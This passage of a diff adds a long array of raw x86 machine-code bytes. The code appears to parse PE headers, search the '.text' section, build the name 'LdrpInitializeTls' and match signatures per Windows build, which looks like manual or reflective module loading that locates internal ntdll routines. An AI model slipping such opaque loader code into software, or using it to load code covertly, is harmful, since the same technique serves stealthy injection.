0x89, 0xc8, 0x2b, 0x44, 0x24, 0x04, 0xeb, 0x26, 0x75, 0x18, + 0x42, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x39, 0xc2, 0x89, 0xd3, 0x0f, 0x45, 0xd1, 0x0f, 0x44, 0xd9, + 0x89, 0xd1, 0x89, 0xda, 0x01, 0xf9, 0xeb, 0x0c, 0x31, 0xd2, 0x31, 0xc0, 0x8d, 0x4f, 0x01, 0x89, + 0x7c, 0x24, 0x04, 0x40, 0x3b, 0x44, 0x24, 0x08, 0x89, 0xcf, 0x75, 0x8b, 0x8b, 0x44, 0x24, 0x08, + 0x85, 0xc0, 0x0f, 0x84, 0x03, 0x01, 0x00, 0x00, 0x83, 0xf8, 0x04, 0x0f, 0x83, 0x13, 0x01, 0x00, + 0x00, 0x31, 0xd2, 0x31, 0xf6, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x49, 0x02, + 0x00, 0x00, 0x8b, 0x5c, 0x24, 0x7c, 0x31, 0xf6, 0x31, 0xc0, 0x31, 0xff, 0x40, 0x8a, 0x53, 0x03, + 0x8a, 0x6b, 0x02, 0x88, 0xd1, 0x0f, 0xa5, 0xc6, 0x88, 0xe9, 0x89, 0xf5, 0x89, 0xc6, 0x0f, 0xa5, + 0xc7, 0xd3, 0xe6, 0xf6, 0xc5, 0x20, 0x89, 0xd1, 0x8a, 0x2b, 0x0f, 0x45, 0xfe, 0x89, 0x7c, 0x24, + 0x0c, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x45, 0xf7, 0x89, 0x74, 0x24, 0x04, 0x89, 0xc6, 0xd3, + 0xe6, 0x8a, 0x4b, 0x01, 0xf6, 0xc2, 0x20, 0x89, 0xc3, 0x0f, 0x45, 0xee, 0x0f, 0x45, 0xf7, 0x31, + 0xff, 0x31, 0xd2, 0x89, 0x6c, 0x24, 0x14, 0x31, 0xed, 0x88, 0x4c, 0x24, 0x18, 0x0f, 0xa5, 0xc5, + 0x88, 0xe9, 0x0f, 0xa5, 0xc7, 0xd3, 0xe3, 0x8a, 0x4c, 0x24, 0x18, 0xf6, 0xc5, 0x20, 0x0f, 0x45, + 0xfb, 0x0f, 0x45, 0xda, 0x89, 0xc2, 0x31, 0xc0, 0xd3, 0xe2, 0xf6, 0xc1, 0x20, 0x89, 0xd9, 0x0f, + 0x45, 0xea, 0x0f, 0x45, 0xd0, 0x0b, 0x7c, 0x24, 0x0c, 0x0b, 0x4c, 0x24, 0x04, 0x0b, 0x6c, 0x24, + 0x14, 0x09, 0xf2, 0x09, 0xd1, 0x09, 0xef, 0x8b, 0xac, 0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0xf8, + 0x83, 0xfd, 0x04, 0x6a, 0x04, 0x5a, 0x74, 0x2e, 0x89, 0xee, 0x29, 0xd6, 0x03, 0x54, 0x24, 0x7c, + 0x89, 0xcd, 0x8a, 0x0a, 0x31, 0xff, 0x31, 0xdb, 0x43, 0x0f, 0xa5, 0xdf, 0xd3, 0xe3, 0xf6, 0xc1, + 0x20, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x45, 0xfb, 0x0f, 0x45, 0xd9, 0x89, 0xe9, 0x42, 0x09, + 0xf8, 0x09, 0xd9, 0x4e, 0x75, 0xda, 0x89, 0x4c, 0x24, 0x0c, 0x8b, 0x4c, 0x24, 0x08, 0x89, 0x44, + 0x24, 0x04, 0x41, 0x31, 0xed, 0x4d, 0xe9, 0x9d, 0x01, 0x00, 0x00, 0x31, 0xc9, 0xc7, 0x44, 0x24, + 0x0c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x31, 0xed, 0xe9, + 0x84, 0x01, 0x00, 0x00, 0x8b, 0x7c, 0x24, 0x4c, 0x83, 0xe0, 0xfc, 0x31, 0xed, 0x31, 0xf6, 0x31, + 0xd2, 0x31, 0xc9, 0xc7, 0x44, 0x24, 0x3c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x40, 0x00, + 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x34, 0x00, + 0x00, 0x00, 0x00, 0x89, 0xc3, 0x89, 0x44, 0x24, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x8a, 0x7f, 0xff, + 0x8a, 0x47, 0xfe, 0x89, 0x74, 0x24, 0x18, 0x89, 0x6c, 0x24, 0x14, 0x31, 0xf6, 0x31, 0xed, 0x89, + 0x4c, 0x24, 0x04, 0x89, 0x54, 0x24, 0x0c, 0x31, 0xd2, 0x89, 0x7c, 0x24, 0x20, 0x8a, 0x1f, 0x8a, + 0x6f, 0x01, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x45, 0x88, 0xf9, 0x0f, 0xa5, 0xee, 0x88, 0xc1, 0x0f, + 0xa5, 0xea, 0xd3, 0xe5, 0xa8, 0x20, 0x88, 0xf9, 0x0f, 0x45, 0xd5, 0x0f, 0x45, 0xef, 0x31, 0xc0, + 0x40, 0x89, 0x54, 0x24, 0x5c, 0x89, 0xc2, 0xd3, 0xe2, 0xf6, 0xc7, 0x20, 0x88, 0xe9, 0x0f, 0x45, + 0xf2, 0x0f, 0x45, 0xd7, 0x31, 0xff, 0x89, 0x74, 0x24, 0x58, 0x0f, 0xa5, 0xc7, 0x88, 0xd9, 0x31, + 0xf6, 0x89, 0xc3, 0x0f, 0xa5, 0xc6, 0x89, 0xc8, 0xd3, 0xe3, 0xf6, 0xc1, 0x20, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x88, 0xe9, 0x0f, 0x45, 0xf3, 0x0f, 0x45, 0xd8, 0x31, 0xc0, 0x40, 0xd3, 0xe0, 0xf6, + 0xc5, 0x20, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x45, 0xf8, 0x0f, 0x45, 0xc1, 0x8b, 0x4c, 0x24, + 0x58, 0x09, 0x74, 0x24, 0x34, 0x8b, 0x74, 0x24, 0x18, 0x09, 0x6c, 0x24, 0x14, 0x09, 0x54, 0x24, + 0x40, 0x8b, 0x54, 0x24, 0x0c, 0x09, 0x7c, 0x24, 0x04, 0x8b, 0x7c, 0x24, 0x20, 0x8b, 0x6c, 0x24, + 0x14, 0x09, 0x4c, 0x24, 0x38, 0x8b, 0x4c, 0x24, 0x5c, 0x09, 0xde, 0x8b, 0x5c, 0x24, 0x60, 0x09, + 0xc2, 0x83, 0xc7, 0x04, 0x09, 0x4c, 0x24, 0x3c, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc3, 0xfc, 0x0f, + 0x85, 0x24, 0xff, 0xff, 0xff, 0x8b, 0x44, 0x24, 0x34, 0x0b, 0x4c, 0x24, 0x38, 0x0b, 0x54, 0x24, + 0x40, 0x09, 0xee, 0x8b, 0x7c, 0x24, 0x7c, 0x8a, 0x5c, 0x24, 0x03, 0x31, 0xed, 0x0b, 0x44, 0x24, + 0x3c, 0x09, 0xf2, 0x8b, 0x74, 0x24, 0x48, 0x09, 0xc1, 0x89, 0x4c, 0x24, 0x04, 0x8b, 0x4c, 0x24, + 0x08, 0x39, 0xf1, 0x75, 0x06, 0x89, 0x54, 0x24, 0x0c, 0xeb, 0x45, 0x8b, 0x7c, 0x24, 0x04, 0x89, + 0xd0, 0x8b, 0x4c, 0x24, 0x7c, 0x31, 0xd2, 0x31, 0xed, 0x89, 0xf3, 0x45, 0x8a, 0x0c, 0x31, 0x89, + 0xee, 0x0f, 0xa5, 0xea, 0x31, 0xed, 0xd3, 0xe6, 0xf6, 0xc1, 0x20, 0x8b, 0x4c, 0x24, 0x08, 0x0f, + 0x45, 0xd6, 0x0f, 0x45, 0xf5, 0x09, 0xf0, 0x89, 0xde, 0x09, 0xd7, 0x46, 0x39, 0xf1, 0x75, 0xd1, + 0x89, 0x7c, 0x24, 0x04, 0x89, 0x44, 0x24, 0x0c, 0x8b, 0x7c, 0x24, 0x7c, 0x8a, 0x5c, 0x24, 0x03, + 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x4c, 0x24, 0x08, 0x31, 0xd2, 0x88, 0x5c, 0x24, + 0x03, 0x29, 0xc8, 0x8b, 0x4c, 0x24, 0x44, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x44, 0x24, 0x28, 0x01, + 0xc8, 0x89, 0x44, 0x24, 0x18, 0x8b, 0x44, 0x24, 0x1c, 0x89, 0xe9, 0x39, 0xe8, 0x0f, 0x47, 0xc8, + 0x84, 0xdb, 0x0f, 0x44, 0xc8, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x44, 0xe8, 0x89, 0x4c, 0x24, + 0x14, 0x8b, 0x44, 0x24, 0x54, 0x8d, 0x0c, 0x10, 0x83, 0xf9, 0x07, 0x0f, 0x87, 0xc2, 0xfb, 0xff, + 0xff, 0x8b, 0x44, 0x24, 0x10, 0x31, 0xff, 0x31, 0xdb, 0x43, 0x8a, 0x0c, 0x08, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x0f, 0xa5, 0xdf, 0xd3, 0xe3, 0xf6, 0xc1, 0x20, 0x0f, 0x45, 0xfb, 0x0f, 0x45, 0xd8, + 0x23, 0x7c, 0x24, 0x04, 0x23, 0x5c, 0x24, 0x0c, 0x09, 0xfb, 0x74, 0x38, 0x8b, 0x44, 0x24, 0x18, + 0x8b, 0x5c, 0x24, 0x14, 0x8d, 0x3c, 0x10, 0x3b, 0x9c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x73, 0x3d, + 0x8d, 0x0c, 0x1a, 0x83, 0xf9, 0x07, 0x0f, 0x87, 0xa8, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x7c, + 0x8a, 0x04, 0x18, 0x3a, 0x04, 0x1f, 0x8d, 0x5b, 0x01, 0x74, 0xdc, 0x2b, 0x4c, 0x24, 0x1c, 0x89, + 0xca, 0x42, 0xeb, 0x07, 0x03, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8a, 0x5c, 0x24, 0x03, 0x8b, + 0x7c, 0x24, 0x7c, 0x84, 0xdb, 0x0f, 0x84, 0x76, 0xff, 0xff, 0xff, 0xeb, 0x43, 0x8b, 0x4c, 0x24, + 0x1c, 0x8b, 0x7c, 0x24, 0x7c, 0x39, 0xcd, 0x73, 0x4c, 0x49, 0x3b, 0x8c, 0x24, 0x80, 0x00, 0x00, + 0x00, 0x73, 0x6b, 0x8d, 0x1c, 0x11, 0x83, 0xfb, 0x08, 0x73, 0x71, 0x8a, 0x04, 0x0f, 0x8b, 0x74, + 0x24, 0x10, 0x3a, 0x04, 0x1e, 0x74, 0xde, 0x8a, 0x5c, 0x24, 0x03, 0x03, 0x54, 0x24, 0x08, 0x84, + 0xdb, 0x0f, 0x84, 0x3a, 0xff, 0xff, 0xff, 0x8b, 0x6c, 0x24, 0x20, 0xe9, 0x15, 0xff, 0xff, 0xff, + 0x31, 0xed, 0xe9, 0x0e, 0xff, 0xff, 0xff, 0x31, 0xd2, 0x31, 0xc0, 0xeb, 0x16, 0x8b, 0x44, 0x24, + 0x28, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x4c, 0x24, 0x10, 0x8b, 0x44, 0x24, 0x78, 0x03, 0x41, 0x0c, + 0x8b, 0x51, 0x08, 0x83, 0xc4, 0x64, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x89, 0xea, 0x68, 0x00, 0x11, + 0x40, 0x00, 0xeb, 0x36, 0x6a, 0x08, 0x5a, 0x68, 0x70, 0x10, 0x40, 0x00, 0xeb, 0x2c, 0x8b, 0x94, + 0x24, 0x80, 0x00, 0x00, 0x00, 0x68, 0x50, 0x10, 0x40, 0x00, 0xeb, 0x1e, 0x6a, 0x08, 0x5a, 0x89, + 0xd9, 0x68, 0x60, 0x10, 0x40, 0x00, 0xeb, 0x12, 0x89, 0xea, 0x68, 0x10, 0x11, 0x40, 0x00, 0xeb, + 0x09, 0x89, 0xd9, 0x89, 0xea, 0x68, 0x20, 0x11, 0x40, 0x00, 0xe8, 0x01, 0x0b, 0x00, 0x00, 0x58, + 0x0f, 0x0b, 0x89, 0xea, 0x68, 0xe0, 0x10, 0x40, 0x00, 0xeb, 0xef, 0x89, 0xc1, 0x89, 0xda, 0xeb, + 0x04, 0x89, 0xd9, 0x89, 0xea, 0x68, 0xf0, 0x10, 0x40, 0x00, 0xeb, 0xde, 0x57, 0x56, 0x83, 0xec, + 0x48, 0x8b, 0x7c, 0x24, 0x5c, 0x57, 0xff, 0x74, 0x24, 0x58, 0xe8, 0x3f, 0x00, 0x00, 0x00, 0x59, + 0x5a, 0x85, 0xc0, 0x74, 0x2a, 0x89, 0xc6, 0x8b, 0x44, 0x24, 0x58, 0x6a, 0xb8, 0x59, 0x85, 0xc9, + 0x74, 0x08, 0xc6, 0x44, 0x0c, 0x48, 0x00, 0x41, 0xeb, 0xf4, 0x89, 0xf9, 0x89, 0x44, 0x24, 0x18, + 0xe8, 0xbe, 0xf5, 0xff, 0xff, 0x84, 0xc0, 0x74, 0x0a, 0x89, 0xe1, 0xff, 0xd6, 0xeb, 0x09, 0x31, + 0xc0, 0xeb, 0x05, 0x89, 0xe0, 0x50, 0xff, 0xd6, 0x83, 0xc4, 0x48, 0x5e, 0x5f, 0xc3, 0x55, 0x53, + 0x57, 0x56, 0x83, 0xec, 0x38, 0x8b, 0x7c, 0x24, 0x4c, 0x85, 0xff, 0x74, 0x29, 0x8b, 0x74, 0x24, + 0x50, 0x6a, 0x0a, 0x5a, 0x89, 0xf1, 0x68, 0xec, 0x55, 0x00, 0x00, 0x6a, 0x00, 0xe8, 0x45, 0xf5, + 0xff, 0xff, 0x59, 0x5a, 0x84, 0xc0, 0x74, 0x15, 0x57, 0xe8, 0x8b, 0x02, 0x00, 0x00, 0x59, 0x89, + 0xc6, 0xe9, 0xd8, 0x01, 0x00, 0x00, 0x31, 0xf6, 0xe9, 0xd1, 0x01, 0x00, 0x00, 0x83, 0x64, 0x24, + 0x14, 0x00, 0x83, 0x64, 0x24, 0x10, 0x00, 0x83, 0x64, 0x24, 0x0c, 0x00, 0x83, 0x64, 0x24, 0x08, + 0x00, 0x83, 0x64, 0x24, 0x04, 0x00, 0x83, 0x24, 0x24, 0x00, 0x6a, 0x0a, 0x5a, 0x89, 0xf1, 0x68, + 0xab, 0x3f, 0x00, 0x00, 0x6a, 0x00, 0xe8, 0xfc, 0xf4, 0xff, 0xff, 0x59, 0x5a, 0x84, 0xc0, 0x74, + 0x4c, 0x8d, 0x54, 0x24, 0x32, 0xc7, 0x02, 0x8b, 0xc1, 0x8d, 0x4d, 0x66, 0xc7, 0x42, 0x04, 0x08, + 0x51, 0x6a, 0x06, 0x5d, 0x89, 0xe7, 0x89, 0xf9, 0x55, 0xe8, 0x8a, 0xf4, 0xff, 0xff, 0x58, 0x89, + 0x6f, 0x10, 0x6a, 0x0a, 0x5a, 0x89, 0xf1, 0x68, 0x63, 0x45, 0x00, 0x00, 0x6a, 0x00, 0xe8, 0xc4, + 0xf4, 0xff, 0xff, 0x59, 0x5a, 0x89, 0xc3, 0x84, 0xc0, 0x74, 0x5a, 0x8d, 0x54, 0x24, 0x18, 0xc7, + 0x02, 0x33, 0xf6, 0x85, 0xc0, 0x66, 0xc7, 0x42, 0x04, 0x79, 0x03, 0xeb, 0x6f, 0x6a, 0x0a, 0x5a, + 0x89, 0xf1, 0x68, 0xd7, 0x3a, 0x00, 0x00, 0x6a, 0x00, 0xe8, 0x99, 0xf4, 0xff, 0xff, 0x59, 0x5a, + 0x84, 0xc0, 0x0f, 0x84, 0x86, 0x00, 0x00, 0x00, 0x8d, 0x54, 0x24, 0x18, 0xc7, 0x02, 0x8b, 0xc1, + 0x8d, 0x4d, 0x66, 0xc7, 0x42, 0x04, 0xbc, 0x51, 0x6a, 0x06, 0x5f, 0x89, 0xe6, 0x89, 0xf1, 0x57, + 0xe8, 0x23, 0xf4, 0xff, 0xff, 0x58, 0x89, 0x7e, 0x10, 0xc7, 0x46, 0x14, 0x18, 0x00, 0x00, 0x00, + 0xe9, 0xbb, 0x00, 0x00, 0x00, 0x6a, 0x0a, 0x5a, 0x89, 0xf1, 0x68, 0xee, 0x42, 0x00, 0x00, 0x6a, + 0x00, 0xe8, 0x51, 0xf4, 0xff, 0xff, 0x59, 0x5a, 0x84, 0xc0, 0x74, 0x1e, 0x8d, 0x54, 0x24, 0x18, + 0xc7, 0x02, 0x8b, 0xc1, 0x8d, 0x4d, 0x66, 0xc7, 0x42, 0x04, 0xac, 0x51, 0x89, 0xe7, 0x89, 0xf9, + 0x55, 0xe8, 0xe2, 0xf3, 0xff, 0xff, 0x58, 0x89, 0x6f, 0x10, 0xc7, 0x44, 0x24, 0x14, 0x18, 0x00, + 0x00, 0x00, 0x6a, 0x0a, 0x5a, 0x89, 0xf1, 0x68, 0x61, 0x4a, 0x00, 0x00, 0x6a, 0x00, 0xe8, 0x14, + 0xf4, 0xff, 0xff, 0x59, 0x5a, 0x84, 0xc0, 0x74, 0x42, 0x6a, 0x2c, 0x58, 0xeb, 0x5e, 0x89, 0xf1, + 0xe8, 0x3e, 0xf4, 0xff, 0xff, 0x84, 0xc0, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0x8d, 0x54, 0x24, + 0x18, 0xc7, 0x02, 0x50, 0x6a, 0x09, 0x6a, 0x66, 0xc7, 0x42, 0x04, 0x01, 0x8b, 0xc6, 0x42, 0x06, + 0xc1, 0x6a, 0x07, 0x5f, 0x89, 0xe6, 0x89, 0xf1, 0x57, 0xe8, 0x8a, 0xf3, 0xff, 0xff, 0x58, 0x89, + 0x7e, 0x10, 0xc7, 0x46, 0x14, 0x1b, 0x00, 0x00, 0x00, 0xeb, 0x25, 0x6a, 0x0a, 0x5a, 0x89, 0xf1, + 0x68, 0xba, 0x47, 0x00, 0x00, 0x6a, 0x00, 0xe8, 0xbb, 0xf3, 0xff, 0xff, 0x59, 0x5a, 0x08, 0xc3, + 0x80, 0xfb, 0x01, 0x75, 0x0b, 0x0f, 0xb6, 0xc0, 0x8d, 0x44, 0x00, 0x2c, 0x89, 0x44, 0x24, 0x14, + 0x6a, 0x06, 0x59, 0x8d, 0x5c, 0x24, 0x18, 0x89, 0xe6, 0x89, 0xdf, 0xf3, 0xa5, 0x8b, 0x6b, 0x14, + 0x31, 0xf6, 0x85, 0xed, 0x74, 0x38, 0x8b, 0x4c, 0x24, 0x4c, 0xe8, 0x52, 0x02, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x2b, 0x85, 0xd2, 0x74, 0x27, 0x89, 0xc7, 0x89, 0xc1, 0xff, 0x74, 0x24, 0x28, 0x6a, + 0x10, 0x53, 0xe8, 0xbb, 0xf3, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x83, 0xf8, 0xff, 0x74, 0x0f, 0x29, + 0xef, 0x01, 0xc7, 0x57, 0xe8, 0x95, 0x00, 0x00, 0x00, 0xe9, 0x20, 0xfe, 0xff, 0xff, 0x89, 0xf0, + 0x83, 0xc4, 0x38, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x6a, 0x06, 0x5f, 0x89, 0xf1, 0x89, 0xfa, 0x6a, + 0x00, 0x6a, 0x02, 0xe8, 0x3f, 0xf3, 0xff, 0xff, 0x59, 0x5a, 0x84, 0xc0, 0x74, 0x2a, 0x8d, 0x54, + 0x24, 0x18, 0x89, 0xe6, 0xc7, 0x02, 0x8b, 0x45, 0x08, 0x89, 0x66, 0xc7, 0x42, 0x04, 0x45, 0xa0, + 0x89, 0xf1, 0x57, 0xe8, 0xd0, 0xf2, 0xff, 0xff, 0x58, 0x89, 0x7e, 0x10, 0xc7, 0x46, 0x14, 0x0c, + 0x00, 0x00, 0x00, 0xe9, 0x68, 0xff, 0xff, 0xff, 0x6a, 0x06, 0x5a, 0x89, 0xf1, 0x6a, 0x00, 0x6a, + 0x01, 0xe8, 0x01, 0xf3, 0xff, 0xff, 0x59, 0x5a, 0x84, 0xc0, 0x0f, 0x84, 0x50, 0xff, 0xff, 0xff, + 0x8d, 0x54, 0x24, 0x18, 0xc7, 0x02, 0x74, 0x20, 0x8d, 0x45, 0xc7, 0x42, 0x04, 0xd4, 0x50, 0x6a, + 0x09, 0x6a, 0x08, 0x5f, 0x89, 0xe6, 0x89, 0xf1, 0x57, 0xe8, 0x8a, 0xf2, 0xff, 0xff, 0x58, 0x89, + 0x7e, 0x10, 0xc7, 0x46, 0x14, 0x14, 0x00, 0x00, 0x00, 0xe9, 0x22, 0xff, 0xff, 0xff, 0x8b, 0x44, + 0x24, 0x04, 0x0f, 0xb6, 0x08, 0x81, 0xf9, 0xcc, 0x00, 0x00, 0x00, 0x74, 0x08, 0x81, 0xf9, 0x90, + 0x00, 0x00, 0x00, 0x75, 0x03, 0x40, 0xeb, 0xea, 0xc3, 0x55, 0x53, 0x57, 0x56, 0x83, 0xec, 0x1c, + 0x8b, 0x74, 0x24, 0x30, 0x8d, 0x44, 0x24, 0x0a, 0xc7, 0x00, 0x4c, 0x64, 0x72, 0x70, 0xc7, 0x40, + 0x04, 0x49, 0x6e, 0x69, 0x74, 0xc7, 0x40, 0x08, 0x69, 0x61, 0x6c, 0x69, 0xc7, 0x40, 0x0c, 0x7a, + 0x65, 0x54, 0x6c, 0x66, 0xc7, 0x40, 0x10, 0x73, 0x00, 0x6a, 0x12, 0x50, 0x56, 0xe8, 0xe7, 0x00, + 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x4c, 0x24, 0x04, 0xc6, 0x01, 0x68, 0x50, 0x6a, 0x05, 0x6a, + 0x01, 0x51, 0x56, 0xe8, 0x47, 0x01, 0x00, 0x00, 0x83, 0xc4, 0x14, 0x85, 0xc0, 0x0f, 0x84, 0xa2, + 0x00, 0x00, 0x00, 0x89, 0xc7, 0x01, 0xf7, 0x31, 0xed, 0x8d, 0x74, 0x24, 0x03, 0x45, 0xc6, 0x06, + 0xe8, 0x6a, 0x30, 0x5a, 0x89, 0xf9, 0x55, 0x55, 0x56, 0xe8, 0x84, 0xf2, 0xff, 0xff, 0x83, 0xc4, + 0x0c, 0x83, 0xf8, 0xff, 0x74, 0x7f, 0x89, 0xc3, 0x8d, 0x4c, 0x38, 0x05, 0x6a, 0x30, 0x5a, 0x55, + 0x55, 0x56, 0xe8, 0x6b, 0xf2, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x83, 0xf8, 0xff, 0x74, 0x66, 0x01, + 0xfb, 0x89, 0xc2, 0x8d, 0x4c, 0x18, 0x05, 0x8b, 0x44, 0x18, 0x06, 0x01, 0xda, 0x89, 0x4c, 0x24, + 0x04, 0x8d, 0x44, 0x10, 0x0a, 0x6a, 0x01, 0x8d, 0x4c, 0x24, 0x08, 0x51, 0x50, 0x8b, 0x74, 0x24, + 0x3c, 0x56, 0xe8, 0x5e, 0x01, 0x00, 0x00, 0x83, 0xc4, 0x10, 0x85, 0xc0, 0x74, 0x37, 0x89, 0xf1, + 0x89, 0xc7, 0xe8, 0xaa, 0x00, 0x00, 0x00, 0x89, 0xc1, 0x31, 0xc0, 0x85, 0xc9, 0x74, 0x28, 0x85, + 0xd2, 0x74, 0x24, 0x01, 0xca, 0x39, 0xd7, 0x73, 0x1e, 0x0f, 0xb7, 0x17, 0x81, 0xfa, 0x90, 0x90, + 0x00, 0x00, 0x74, 0x1b, 0x81, 0xfa, 0xcc, 0xcc, 0x00, 0x00, 0x74, 0x13, 0x83, 0xc7, 0xfe, 0x39, + 0xcf, 0x77, 0xe6, 0xeb, 0x02, 0x31, 0xc0, 0x83, 0xc4, 0x1c, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x0f, + 0xb6, 0x47, 0x02, 0x83, 0xc7, 0x02, 0x3d, 0x90, 0x00, 0x00, 0x00, 0x74, 0x07, 0x3d, 0xcc, 0x00, + 0x00, 0x00, 0x75, 0x01, 0x47, 0x89, 0xf8, 0xeb, 0xde, 0x53, 0x57, 0x56, 0x8b, 0x74, 0x24, 0x10, + 0x89, 0xf1, 0xe8, 0x4a, 0x00, 0x00, 0x00, 0x31, 0xff, 0x85, 0xc0, 0x74, 0x3e, 0x85, 0xd2, 0x74, + 0x3a, 0x89, 0xc3, 0x8b, 0x44, 0x24, 0x18, 0x89, 0xd9, 0x50, 0x50, 0xff, 0x74, 0x24, 0x1c, 0xe8, + 0xae, 0xf1, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x83, 0xf8, 0xff, 0x74, 0x1f, 0x66, 0x81, 0x3e, 0x4d, + 0x5a, 0x75, 0x18, 0x8b, 0x4e, 0x3c, 0x81, 0x3c, 0x31, 0x50, 0x45, 0x00, 0x00, 0x75, 0x0c, 0x03, + 0x74, 0x0e, 0x2c, 0x01, 0xd8, 0x01, 0xd8, 0x29, 0xf0, 0x89, 0xc7, 0x89, 0xf8, 0x5e, 0x5f, 0x5b, + 0xc3, 0x83, 0xec, 0x08, 0x8d, 0x44, 0x24, 0x03, 0xc7, 0x00, 0x2e, 0x74, 0x65, 0x78, 0xc6, 0x40, + 0x04, 0x74, 0x6a, 0x05, 0x50, 0x51, 0xe8, 0x42, 0xf3, 0xff, 0xff, 0x83, 0xc4, 0x14, 0xc3, 0x55, + 0x53, 0x57, 0x56, 0x83, 0xec, 0x14, 0x8b, 0x4c, 0x24, 0x28, 0x8b, 0x74, 0x24, 0x30, 0xe8, 0xce, + 0xff, 0xff, 0xff, 0x89, 0xc7, 0x31, 0xc0, 0x83, 0xfe, 0x0c, 0x77, 0x61, 0x85, 0xff, 0x74, 0x5d, + 0x89, 0xd3, 0x85, 0xd2, 0x74, 0x57, 0x8b, 0x54, 0x24, 0x2c, 0x6a, 0xf0, 0x58, 0x85, 0xc0, 0x74, + 0x08, 0xc6, 0x44, 0x04, 0x14, 0x00, 0x40, 0xeb, 0xf4, 0x8d, 0x6c, 0x24, 0x04, 0x89, 0xe9, 0x56, + 0xe8, 0x83, 0xf0, 0xff, 0xff, 0x58, 0x8b, 0x44, 0x24, 0x38, 0x89, 0xe2, 0x8d, 0x4c, 0x34, 0x04, + 0x89, 0x02, 0x6a, 0x04, 0xe8, 0x6f, 0xf0, 0xff, 0xff, 0x58, 0x89, 0xf9, 0x89, 0xda, 0xff, 0x74, + 0x24, 0x34, 0x6a, 0x10, 0x55, 0xe8, 0xf8, 0xf0, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x01, 0xc7, 0x89, + 0xc1, 0x31, 0xc0, 0x2b, 0x7c, 0x24, 0x28, 0x83, 0xf9, 0xff, 0x0f, 0x45, 0xc7, 0x83, 0xc4, 0x14, + 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x55, 0x53, 0x57, 0x56, 0x83, 0xec, 0x0c, 0x8b, 0x4c, 0x24, 0x20, + 0xe8, 0x4c, 0xff, 0xff, 0xff, 0x89, 0xc6, 0x31, 0xc0, 0x85, 0xf6, 0x0f, 0x84, 0x80, 0x00, 0x00, + 0x00, 0x89, 0xd7, 0x85, 0xd2, 0x74, 0x7a, 0x8b, 0x44, 0x24, 0x2c, 0x89, 0xf3, 0x8d, 0x4c, 0x24, + 0x03, 0x01, 0xfe, 0xc6, 0x01, 0xe8, 0x89, 0x74, 0x24, 0x08, 0xc1, 0xe0, 0x02, 0x89, 0x44, 0x24, + 0x04, 0x31, 0xc0, 0x89, 0xd9, 0x89, 0xfa, 0x40, 0x50, 0x50, 0x8d, 0x44, 0x24, 0x0b, 0x50, 0xe8, + 0x8e, 0xf0, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x89, 0xc1, 0x31, 0xc0, 0x83, 0xf9, 0xff, 0x74, 0x41, + 0x8b, 0x6c, 0x19, 0x01, 0x8b, 0x74, 0x24, 0x24, 0x8d, 0x14, 0x19, 0x29, 0xd6, 0x83, 0xc5, 0x05, + 0x39, 0xf5, 0x75, 0x16, 0x8b, 0x6c, 0x24, 0x04, 0x8b, 0x74, 0x24, 0x28, 0x85, 0xed, 0x74, 0x1f, + 0x83, 0xc5, 0xfc, 0x39, 0x16, 0x8d, 0x76, 0x04, 0x75, 0xf2, 0x8d, 0x51, 0x01, 0x29, 0xd7, 0x76, + 0x10, 0x8b, 0x74, 0x24, 0x08, 0x8d, 0x5c, 0x0b, 0x01, 0x39, 0xf3, 0x76, 0xa4, 0xeb, 0x02, 0x89, + 0xd0, 0x83, 0xc4, 0x0c, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0x56, 0x8b, 0x74, 0x24, 0x08, 0x8b, 0x54, + 0x24, 0x0c, 0x89, 0xf1, 0xff, 0x74, 0x24, 0x10, 0xe8, 0x8b, 0xef, 0xff, 0xff, 0x58, 0x89, 0xf0, + 0x5e, 0xc3, 0x55, 0x53, 0x57, 0x56, 0x8b, 0x4c, 0x24, 0x1c, 0x8b, 0x6c, 0x24, 0x18, 0x8b, 0x74, + 0x24, 0x14, 0x31, 0xc0, 0x31, 0xff, 0x39, 0xf9, 0x74, 0x12, 0x0f, 0xb6, 0x1c, 0x3e, 0x0f, 0xb6, + 0x54, 0x3d, 0x00, 0x47, 0x38, 0xd3, 0x74, 0xee, 0x29, 0xd3, 0x89, 0xd8, 0x5e, 0x5f, 0x5b, 0x5d, + 0xc3, 0x55, 0x53, 0x57, 0x56, 0x81, 0xec, 0x6c, 0x02, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x80, 0x02, + 0x00, 0x00, 0x66, 0x81, 0x3e, 0x4d, 0x5a, 0x0f, 0x85, 0x95, 0x04, 0x00, 0x00, 0x8b, 0x46, 0x3c, + 